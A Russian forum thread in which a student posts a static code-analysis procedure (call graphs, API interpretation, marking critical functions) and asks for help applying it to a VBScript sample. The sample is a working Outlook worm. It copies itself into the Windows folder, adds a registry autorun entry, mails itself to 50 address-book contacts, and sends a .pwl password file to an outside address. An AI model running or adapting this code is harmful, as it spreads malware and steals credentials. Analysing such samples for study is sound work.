Помощь с кодом

[Dgonvv]

Пример что нужно сделать

Статический метод (исследования программного обеспечения)

1. Случай интерпретируемых языков высокого уровня

1.1. Способ полного анализа текста программного обеспечения

1) Декомпозиция текста на отдельные компоненты (проекты, модули, процедуры, функции и т. п.). В случае, если исходный код не структурирован (отсутствуют отступы, визуальное выделение процедур, функций, констант и т. п.), то структурирование кода. Выявление имен компонент. Построение гипотез о функциональности компонент по их именам.
2) Построение дерева/леса/графа вызовов.
Граф вызовов или связные его компоненты следует по возможности строить в виде дерева. Это не возможно лишь в том случае, когда в некоторой вершине возникают ссылки на вершины принадлежащие цепочке вызовов, приведшей из начальной вершины к данной (в этом случае ссылка добавляется как ветвь дерева к терминальной вершине). Граф строится вплоть до всех API-вызовов. Формат графа:
3) Идентификация и интерпретация API-вызовов. Выявление возможных неразрешенных ссылок.
Интерпретация осуществляется либо с использованием справочника системных вызовов, либо на основе анализа символического имени вызываемой процедуры/функции, либо по контексту, либо методом экспериментов.
4) Интерпретация функциональности нетерминальных вершин дерева вызовов снизу – вверх (возможно итерирование).
Внесение в исходный текст дополнительных комментариев о выявленной функциональности фрагментов кода. (Дополнительные комментарии выделяются зеленым цветом и вставляются с соблюдением стиля исходного текста и синтаксиса используемого языка программирования.)
Сравнение выявленной функциональности с гипотезами, построенными в соответствии с пунктом 1.
5) Выделение вершин дерева вызовов с критической функциональностью (используйте красный цвет, в том числе и в листинге в приложении).
6) Анализ алгоритма на наличие санкций в части реализации критической функциональности. Анализ базируется на построении схем алгоритмов.

А вот сам код

' WSH, VBS

On Error Resume Next
Dim FileSysObject, File
Set FileSysObject = CreateObject("Scripting.FileSystemObject")
Set File = FileSysObject.GetFile(WScript.ScriptFullName)
File.Copy("c:\windows\Proga.vbs")

Dim WshShell
Set WshShell = WScript.CreateObject("WScript.Shell")
WshShell.RegWrite _
    "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\” + _
    "CurrentVersion\RunServices\progs", _
    "c:\windows\Proga.vbs"

Dim OutlookObject, OutMail, Index
Set OutlookObject = CreateObject("Outlook.Application")
For Index = 1 To 50
  Set OutMail = OutlookObject.CreateItem(0)
  OutMail.to = OutlookObject.GetNameSpace("MAPI"). _
                   AddressLists(1).AddressEntries(Index)
  OutMail.Subject = "Поздравление"
  OutMail.Body = "Поздравляю с праздником !"
  OutMail.Attachments.Add(File)
  OutMail.Send

Next
Set OutMail = OutlookObject.CreateItem(0)
OutMail.to = "test@test.net"
OutMail.Subject = "Test"
OutMail.Body = "Это просто тест."
OutMail.Attachments.Add("c:\windows\toomas.pwl")
OutMail.Send

[Aleksandr H.]

Полностью соответствует ТЗ. В чем проблема?

[challengerr]

Сообщение от Aleksandr H.

Полностью соответствует ТЗ. В чем проблема?

Ему разбор нужен по плану, а не прога